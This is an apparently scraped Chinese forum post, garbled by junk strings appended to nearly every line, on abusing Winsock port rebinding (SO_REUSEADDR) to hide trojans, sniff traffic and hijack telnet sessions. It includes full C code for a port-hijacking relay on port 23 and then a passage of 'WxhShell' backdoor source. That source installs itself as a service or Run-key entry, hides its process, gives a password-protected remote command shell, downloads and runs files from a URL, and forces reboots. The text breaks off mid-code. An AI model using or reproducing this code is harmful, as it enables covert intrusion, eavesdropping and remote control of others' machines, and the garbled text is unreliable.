社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19003阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $D&N^}alW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N(ov.l;  
*DBm"{q%&k  
  saddr.sin_family = AF_INET; lJlyfN  
X 0\O3l* j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5=cS5q@  
': fq/k3;&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =emcs%  
y@GqAN'DK[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4gKu8G  
ZhvZe/  
  这意味着什么?意味着可以进行如下的攻击: )(CZK&<  
OQ*BPmS-   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;YGCsLT<xt  
};/;L[,G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "|k 4<"]  
X>-|px$vy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JJE?!Yvc  
r. z=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vIzREu|5  
U=ek_FO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PPpq"c  
h;C/} s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3:]c>GPQ  
Sj(5xa[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sd m4zV]&  
b@s6jNhVO^  
  #include sV']p#HK0  
  #include i$?$X,  
  #include NpPuh9e{  
  #include    uCB>".'kM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \img   
  int main() 6, ~Y(#  
  { r `;_ #&b  
  WORD wVersionRequested; o(L8 -F  
  DWORD ret; ; <NK  
  WSADATA wsaData; w! kWG,{C  
  BOOL val; Tf*DFyr  
  SOCKADDR_IN saddr; P$7i>(?(  
  SOCKADDR_IN scaddr; zhdS6Gk+  
  int err; QKB*N)%6  
  SOCKET s; (/ qOY  
  SOCKET sc; 1fOH$33  
  int caddsize; |O';$a1S  
  HANDLE mt; nDU=B.?E{O  
  DWORD tid;   :w,#RcW  
  wVersionRequested = MAKEWORD( 2, 2 ); m%s&$  
  err = WSAStartup( wVersionRequested, &wsaData ); \#(tI3  
  if ( err != 0 ) { BN>t"9XpW  
  printf("error!WSAStartup failed!\n"); Y#<>N-X|kA  
  return -1; }N0$DqP  
  } \?_M_5Nb  
  saddr.sin_family = AF_INET; 8 \BGL  
   x>!bvZ2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H_n Ilku  
zB68%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (ebC80M  
  saddr.sin_port = htons(23); 4`[2Te>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A)%!9i)  
  { p6c&vEsNj  
  printf("error!socket failed!\n"); FQh8(^(  
  return -1; @>Bgld&vl  
  } [k<.BCE  
  val = TRUE; F%ffnEJg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MLT ^7'y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y a/+|mv  
  { q|zips,  
  printf("error!setsockopt failed!\n"); YAP,#a  
  return -1; vq` M]1]FO  
  } <ebC]2j8cK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l.Q.G<ol  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :\F1S:&P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ly P Cc|  
K41Gn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H8!)zZ  
  { 1smKU9B2)  
  ret=GetLastError(); #ZyY(S1.  
  printf("error!bind failed!\n"); _Kwp8_kTr  
  return -1; /T<))@$  
  } ^xX1G _{  
  listen(s,2); Am@:<J  
  while(1) 2DNB?,uP,'  
  { 83!{?EPE  
  caddsize = sizeof(scaddr); {!&^VXZIT  
  //接受连接请求 lx{ ' bzv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eq(1'?7]`G  
  if(sc!=INVALID_SOCKET) ]4onY >  
  { {|B 2$1':  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ><xJQeW  
  if(mt==NULL) #h}a   
  { |)*9BN  
  printf("Thread Creat Failed!\n"); |,Kk#`lW<f  
  break; A5E^1j}h@  
  } 43,baeG  
  } %v4*$E!f  
  CloseHandle(mt); 0uu)0:  
  } <Rfx`mn  
  closesocket(s); /:@)De(S  
  WSACleanup(); QlMv_|`9  
  return 0; ~e _  
  }   az[#q  
  DWORD WINAPI ClientThread(LPVOID lpParam) w0X})&,{`m  
  { Vg(FF "  
  SOCKET ss = (SOCKET)lpParam; ye-[l7  
  SOCKET sc; JAX`iQd  
  unsigned char buf[4096]; WK5B8u*<  
  SOCKADDR_IN saddr; 9aBz%* xo  
  long num; jqlfypU  
  DWORD val; L{0\M`B-  
  DWORD ret; z.Vf,<H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DQ@M?~1hp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   biG :Xn  
  saddr.sin_family = AF_INET; SLz;5%CPV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \}J"`J\Q  
  saddr.sin_port = htons(23); ZypK''&oc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~^PNMZk  
  { \]0#jI/:  
  printf("error!socket failed!\n"); 'p[*2J"K4  
  return -1; %\L{Ud%7  
  } 3hVuC1;"  
  val = 100; m.FN ttkM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) " {X0&  
  { |kY  
  ret = GetLastError(); t&i4kS^y  
  return -1; RivhEc1h%  
  } ZH<qidpR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g 'td(i[  
  { Jn%Etz-  
  ret = GetLastError(); 8JXS:J.|v  
  return -1; 6~l+wu<$  
  } hW9U%-D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J!}\v=Rn  
  { oIniy{  
  printf("error!socket connect failed!\n"); {Iz"]Wh<f  
  closesocket(sc); .7M.bpmqE  
  closesocket(ss); 3:)_oHq  
  return -1; Jp c %i8  
  } Tz~a. h@  
  while(1) -q(*)N5.2  
  { T oT('  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \t%iUZ$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SW5n?Qj3-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5LZs_%#  
  num = recv(ss,buf,4096,0); IgRi(q^b-  
  if(num>0) x=-(p}0o;<  
  send(sc,buf,num,0); <g&.UW4  
  else if(num==0) 3.9/mztS  
  break; $KhD>4^ jL  
  num = recv(sc,buf,4096,0); '-mzt~zGOY  
  if(num>0) "$P/ek  
  send(ss,buf,num,0); ; K,5qs  
  else if(num==0) 3dJiu  
  break; / U!xh3  
  } B)/c]"@89  
  closesocket(ss); ysCK_  
  closesocket(sc); VrWQ]L  
  return 0 ; ?a*w6,y.  
  } 1Y%lt5,*  
]+b?J0|P<  
?2R!n" m-d  
========================================================== =$%-RX7  
!E|R3e X_  
下边附上一个代码,,WXhSHELL R;fev 1mE  
IwOL1\'T4  
========================================================== s>1\bio*I  
q(csZ\e=  
#include "stdafx.h" 7IQa Xcl  
'n^?DPvD  
#include <stdio.h> s Ytn'&$\  
#include <string.h> Efoy]6P\  
#include <windows.h> hTWZIW@  
#include <winsock2.h> neE Zw#(Z  
#include <winsvc.h> $5\!ws<cZ  
#include <urlmon.h> l<YCX[%E  
X"pp l7o  
#pragma comment (lib, "Ws2_32.lib") n^7m^1to  
#pragma comment (lib, "urlmon.lib") xFy%&SKHg  
lM'yj}:~  
#define MAX_USER   100 // 最大客户端连接数 _z(ydL*  
#define BUF_SOCK   200 // sock buffer $,L,VYN  
#define KEY_BUFF   255 // 输入 buffer {%Ujp9i  
dgsD~.((A  
#define REBOOT     0   // 重启 |`i.8  
#define SHUTDOWN   1   // 关机 KQ\d$fX  
9}DF*np`G  
#define DEF_PORT   5000 // 监听端口 .ugQH<B  
=gb(<`{>  
#define REG_LEN     16   // 注册表键长度 Y^P'slY{%  
#define SVC_LEN     80   // NT服务名长度 Wy.Xx-3W  
^vH3 -A;*  
// 从dll定义API ?=X_a{}/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8NS1*\z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^S'tMT_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6 SosVE>Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t4E=  
Rf .b_Y@O  
// wxhshell配置信息 /n|`a1!  
struct WSCFG { gQ=g,X4  
  int ws_port;         // 监听端口 _Z|3qQ  
  char ws_passstr[REG_LEN]; // 口令 :5M7*s)e16  
  int ws_autoins;       // 安装标记, 1=yes 0=no G,J~Ed  
  char ws_regname[REG_LEN]; // 注册表键名 lC&B4zec  
  char ws_svcname[REG_LEN]; // 服务名 \dIQhF%%2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qy+&N*k>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6Wabw:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Sn lKPd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '9#O#I &J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1TvR-.e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L9=D,C~  
L)LW5%.6  
}; $MT'ZM  
}`,}e259  
// default Wxhshell configuration bqt*d)$  
struct WSCFG wscfg={DEF_PORT, WhR j@y  
    "xuhuanlingzhe", oT\u^WU  
    1, Evn=3Tw  
    "Wxhshell", AShnCL8uR  
    "Wxhshell", AGN5=K*D  
            "WxhShell Service", UA|A>c  
    "Wrsky Windows CmdShell Service", V~uH)IMkh7  
    "Please Input Your Password: ", fb8t9sAI  
  1, &l=%*`On  
  "http://www.wrsky.com/wxhshell.exe", ~Zc=FP:1  
  "Wxhshell.exe" 2h6<'2'o1  
    }; rK%A=Q  
/@<Pn&Rq  
// 消息定义模块 %Hk9.1hn5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f(h nomn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )-_]y|/D:r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |-HV@c]  
char *msg_ws_ext="\n\rExit."; DUk&`BSJ  
char *msg_ws_end="\n\rQuit."; ^qaS  
char *msg_ws_boot="\n\rReboot..."; HD(4Ms  
char *msg_ws_poff="\n\rShutdown..."; }jQxwi)  
char *msg_ws_down="\n\rSave to "; /- qS YS(  
) /kf  
char *msg_ws_err="\n\rErr!"; Gyak?.@R  
char *msg_ws_ok="\n\rOK!"; Vs-])Q?7J  
s0 ZF+6f  
char ExeFile[MAX_PATH]; QQso<.d&  
int nUser = 0; Zr0bVe+h  
HANDLE handles[MAX_USER]; brA\Fp^  
int OsIsNt; }dl[~iKW  
CfguL@tR.  
SERVICE_STATUS       serviceStatus; NW'rqgG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6q[|U_3I@  
R^PPgE6!$  
// 函数声明 &@O]'  
int Install(void); HJVi:;o  
int Uninstall(void); 7cGc`7  
int DownloadFile(char *sURL, SOCKET wsh); sw.cw}1  
int Boot(int flag); DD3.el}6a  
void HideProc(void); o5 UM)g  
int GetOsVer(void); l,n0=Ew  
int Wxhshell(SOCKET wsl); '~HCYE:5  
void TalkWithClient(void *cs); )~ {T  
int CmdShell(SOCKET sock); d{cd+An  
int StartFromService(void); :}\w2W E[  
int StartWxhshell(LPSTR lpCmdLine); )[d?&GK  
ra L!}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /;7\HZ$@/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9qUc{ydt  
Yj/aa0Ka4  
// 数据结构和表定义 cFcn61x-  
SERVICE_TABLE_ENTRY DispatchTable[] = {sn RS)-  
{ "~R,%sYb(  
{wscfg.ws_svcname, NTServiceMain}, < j}n/G]  
{NULL, NULL} D# ZzhHHP  
}; |JZ3aS   
J<g$hk  
// 自我安装 &cDLSnR  
int Install(void) dW K; h  
{ 4~mYj@lvd  
  char svExeFile[MAX_PATH]; fqoI(/RWP  
  HKEY key; ~*OQRl6F  
  strcpy(svExeFile,ExeFile); pCXceNFo  
p"A2N +  
// 如果是win9x系统,修改注册表设为自启动 T r|B:)X  
if(!OsIsNt) { X$aN:!1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 7 Oi}   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [$PW {d8|  
  RegCloseKey(key); ,$"*X-1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dQX<X}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H =Y7#{}  
  RegCloseKey(key); c1!0Z28  
  return 0; +m|S7yr'  
    } 05 P#gs`<  
  } Z>0a?=1[  
} G@Ha t  
else { 5 )tDgm  
]>j>bHG  
// 如果是NT以上系统,安装为系统服务 DRp h?V\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $1aJdZC7  
if (schSCManager!=0) V*xo3hU  
{ YJBlF2uD  
  SC_HANDLE schService = CreateService v[k;R  
  ( R,]J~TfPK  
  schSCManager, $KSdNFtM)A  
  wscfg.ws_svcname, DrAp&A|WV|  
  wscfg.ws_svcdisp, U +c ?x2\  
  SERVICE_ALL_ACCESS, EESGU(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g8=j{]~C  
  SERVICE_AUTO_START, .A(QqL>  
  SERVICE_ERROR_NORMAL, #6fQ$x(F#j  
  svExeFile, 54X=58Q  
  NULL, xIOYwVC  
  NULL, p"%K(NL  
  NULL, Q9Tt3h2ga  
  NULL, $#z ` R;  
  NULL kGz0`8U Ru  
  ); ,, 8hU7P  
  if (schService!=0) eo#2n8I>=1  
  { Eo\pNz#)  
  CloseServiceHandle(schService); @2yoy&IO  
  CloseServiceHandle(schSCManager); r6JQRSakR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yj:<3_-C*  
  strcat(svExeFile,wscfg.ws_svcname); UF_?T.Rl^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~__r- z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hSl6 X3W  
  RegCloseKey(key); V(lxkEu/Fj  
  return 0; VVd9VGvh  
    } ?* {Vn5aX{  
  } *KMW6dg;  
  CloseServiceHandle(schSCManager); +69[06F  
} jDO"?@+  
} [Re.sX}$Y  
Oax6_kmOj  
return 1; =c-Y >  
} .RazjXAY  
{wp~  
// 自我卸载 l:@`.'-=  
int Uninstall(void) q0m> NA   
{ E;o "^[we  
  HKEY key; ]QJ N` ;b0  
 ~ERA  
if(!OsIsNt) { b41f7t=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &UFj U%Z%  
  RegDeleteValue(key,wscfg.ws_regname); GJr1[  
  RegCloseKey(key); cv=H6j]h |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kd=|Iip;(  
  RegDeleteValue(key,wscfg.ws_regname); su}n3NsJ  
  RegCloseKey(key); y/.I<5+Bu  
  return 0; vY"i^a`f  
  } {Mv$~T|e7  
} ^~7/hm:  
} mNQ~9OJ1  
else { %ij,xN  
_xmS$z)TO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2(i@\dZCb<  
if (schSCManager!=0) U =i=E}'  
{ mS9ITe M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /5wIbmz@I  
  if (schService!=0) ]aZ3_<b  
  { C"*8bVx]$n  
  if(DeleteService(schService)!=0) { fG,)`[eD!_  
  CloseServiceHandle(schService); xTGdh  
  CloseServiceHandle(schSCManager); 6JB* brO  
  return 0; <*3#nA-O>i  
  } mHB0eB'l  
  CloseServiceHandle(schService); PNp-/1Cx  
  } jU}iQM  
  CloseServiceHandle(schSCManager); Gl6M(<f\5  
} haSC[[o=  
} }Y&|v q  
#zed8I:w  
return 1; W @]t  
} &Cm$%3  
(`js/7[`H[  
// 从指定url下载文件 `L m9!?  
int DownloadFile(char *sURL, SOCKET wsh) MC~<jJ,  
{ ^|lw~F  
  HRESULT hr; M\D25=(  
char seps[]= "/"; oU/{<gs  
char *token; <i ";5+  
char *file; ] L6LB \  
char myURL[MAX_PATH];  V$fn$=  
char myFILE[MAX_PATH]; 8zrLl:{  
*cy!PF&  
strcpy(myURL,sURL); [;pL15-}4  
  token=strtok(myURL,seps); &Vy.)0  
  while(token!=NULL) yfZYGhPN(  
  { Zv5vYe9Ow  
    file=token; $g!iy'4n*  
  token=strtok(NULL,seps); ?_j]w%Hz  
  } NI85|*h  
+GL[uxe "  
GetCurrentDirectory(MAX_PATH,myFILE); X!|K 4Z!k  
strcat(myFILE, "\\"); |.?X ov]  
strcat(myFILE, file); (b"kN(  
  send(wsh,myFILE,strlen(myFILE),0); FyWrb+_0v  
send(wsh,"...",3,0); i'3)5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y(;u)uN_  
  if(hr==S_OK) PB;j4  
return 0; OV/ &'rC  
else 34I;DUdcE  
return 1; oIGF=x,e8  
9dwLkr  
} eL1)_M;{  
PM3fJhx  
// 系统电源模块 : U,-v  
int Boot(int flag) 8|~M!<  
{ M:t"is  
  HANDLE hToken; &HtG&RvQf  
  TOKEN_PRIVILEGES tkp; Vx%!j&  
|4!G@-2V:I  
  if(OsIsNt) { 7`SrqI&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ao, <G.>R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F./P,hhN9  
    tkp.PrivilegeCount = 1; %(B6eiA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~_|CXPiQ8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vRLWs`1j  
if(flag==REBOOT) { *})Np0k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?nwg.&P  
  return 0; ^+}~"nvD  
} y3ST0=>j}  
else { +J3Y}A4W3X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xTy)qN]P  
  return 0; H^XTzE  
} CcZM0  
  } 7!JBF{,=  
  else { $9ys! <g  
if(flag==REBOOT) { ~H:.&'E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,p V3O`z  
  return 0; QPX3a8w*  
} y'_2|5!Qs  
else { a"8H(HAlNn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sOm&7A?  
  return 0; d5'4RYfkQ  
} %[OZ;q& X  
} COcS w  
>g,i"Kg  
return 1; 3-gy)5.x e  
} 9'A^n~JHF  
-Xt0=3,  
// win9x进程隐藏模块 toel!+  
void HideProc(void) f\~A72-  
{ vP^V3  
5}:`CC2,S~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V1\Rj0#G  
  if ( hKernel != NULL ) c3J12+~;  
  { lI;ACF^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oG=4&SQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xj$'i/=-+c  
    FreeLibrary(hKernel); i'z (`"  
  } Hli22~7T:  
_CG ED{b@  
return; -_irkpdC[  
} [{6fyd;  
<X ([VZ  
// 获取操作系统版本 j`%a2  
int GetOsVer(void) 9lB$i2G>Zw  
{ %VS+?4ww  
  OSVERSIONINFO winfo; > mEB,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FvDi4[F#  
  GetVersionEx(&winfo); S^nI=HTm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t>eeOWk3  
  return 1; !rff/0/x"  
  else #pk  
  return 0; {=9"WN    
} dg4q+  
`( _N9.>B  
// 客户端句柄模块 6b\JD.r*{  
int Wxhshell(SOCKET wsl) /.Jq]"   
{ 5-POY ug  
  SOCKET wsh; w/@ tH  
  struct sockaddr_in client; cnj32H^+  
  DWORD myID; yo :63CPP  
*@g>~q{`  
  while(nUser<MAX_USER) a6 w'.]m  
{ 0 D&-BAzi  
  int nSize=sizeof(client); b&*N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a'?V:3 ]  
  if(wsh==INVALID_SOCKET) return 1; n= FOB0=  
oq2-)F2/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U2jlDx4yg  
if(handles[nUser]==0) 4c@_u8  
  closesocket(wsh); bd)Sb?  
else &+ UnPE(  
  nUser++; #M|q}jA|  
  } U$LI~XZM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /]9(InM9/  
ebhV;Q.  
  return 0; [H {2<!  
} xPzBbe  
|J:m{  
// 关闭 socket dlBr2 9  
void CloseIt(SOCKET wsh) -V=,x3Zew  
{ (= W u5H  
closesocket(wsh); 1Sd<cOEd  
nUser--; [midNC+,  
ExitThread(0); dUkZ_<5''  
} a|Wrc)UR  
Bs^p!4=  
// 客户端请求句柄 Q$A;Fk}-  
void TalkWithClient(void *cs) S0?e/VWy  
{ >Zh^,T={G  
vGchKN~_  
  SOCKET wsh=(SOCKET)cs; VlS`m,:{  
  char pwd[SVC_LEN]; M2LW[z  
  char cmd[KEY_BUFF]; (/A 6kp?  
char chr[1]; ksF4m_E>YB  
int i,j; 3V3q vd  
69N8COLB  
  while (nUser < MAX_USER) { w exa\o  
B !Z~jT  
if(wscfg.ws_passstr) { `bW0Va N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M\r=i>(cu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }ni@]k#q<  
  //ZeroMemory(pwd,KEY_BUFF); Vs(D(d,  
      i=0; rmPJid[8B~  
  while(i<SVC_LEN) { n_4BNOZ~  
-* W\$ P  
  // 设置超时 c!]yT0v&s  
  fd_set FdRead; L 7l"*w(  
  struct timeval TimeOut; L\\'n )  
  FD_ZERO(&FdRead); fnK H<  
  FD_SET(wsh,&FdRead); 6yXN7L==x  
  TimeOut.tv_sec=8; Aq_?8Cd  
  TimeOut.tv_usec=0; !jRs5{n^Ol  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IY}{1[<N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); spTIhZ  
@[~j|YH}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;ApldoMi  
  pwd=chr[0]; q5~"8]Dls  
  if(chr[0]==0xd || chr[0]==0xa) { e%^PVi  
  pwd=0; mg<S7+  
  break; LcGG~P|ML  
  } -"}nm!j /5  
  i++; +d=8/3O%  
    } tW%!|T5/  
q6eD{/4a1  
  // 如果是非法用户,关闭 socket [k60=$y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OK%d1M^8j  
} d%#5roR4<  
~2O1$ou  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iy [W:<c7j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sDjbvC0  
^-%O  
while(1) { %+L3Xk]m'  
4AYW'j C  
  ZeroMemory(cmd,KEY_BUFF); #f }ORA  
eV(   
      // 自动支持客户端 telnet标准   wPr!.:MF  
  j=0; }nMp.7b  
  while(j<KEY_BUFF) { -x+K#T0Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "T~A*a^  
  cmd[j]=chr[0]; 8-FW'bA  
  if(chr[0]==0xa || chr[0]==0xd) { %( #kJZ  
  cmd[j]=0; "/{H=X3was  
  break; :F pt>g  
  } 1.z]/cx<y  
  j++; FTcXjWBPF9  
    } 9zlhJ7i  
=S|dzgS/  
  // 下载文件 ~D_Wqr  
  if(strstr(cmd,"http://")) { zUz j F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gS.,V!#t  
  if(DownloadFile(cmd,wsh)) U2*kuP+n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]Y?NN,GR  
  else 8GT4U5c ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z;PF% F  
  } <MgC7S2I  
  else { nOq`Cwh9  
U_@Dn[/:  
    switch(cmd[0]) { 1_5]3+r_U-  
  d5qGTT ~a  
  // 帮助 q82yh&  
  case '?': { Frum@n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -02.n}u>  
    break; .12H/F  
  } )q>q]eHz  
  // 安装 {@ Z%6%'9  
  case 'i': { D[<~^R;*  
    if(Install()) 3/EJ^C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [}Y_O*C !  
    else ; nYR~~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !t|2&R$IQ  
    break; q;9OqArq  
    } m " c6^)U  
  // 卸载 r<EwtO+x  
  case 'r': { dS;Ui]/J  
    if(Uninstall()) V7$-4%NL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =iE)vY,?"}  
    else jF|LPWl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )* Rr5l /l  
    break; _!^2A3c<  
    } _t@9WA;+\  
  // 显示 wxhshell 所在路径 2R~[B]2"r  
  case 'p': { A\QrawBp0l  
    char svExeFile[MAX_PATH]; &-p!Lg&D  
    strcpy(svExeFile,"\n\r"); X oh@(%  
      strcat(svExeFile,ExeFile); j:xm>X'  
        send(wsh,svExeFile,strlen(svExeFile),0); k;pU8y6Y  
    break; XrN]}S$N  
    } o 5<w2(  
  // 重启 NU.YL1  
  case 'b': { =[IKwmCX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jek3K&  
    if(Boot(REBOOT)) C&&33L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5%cgr% 6  
    else { .MW/XnCYs4  
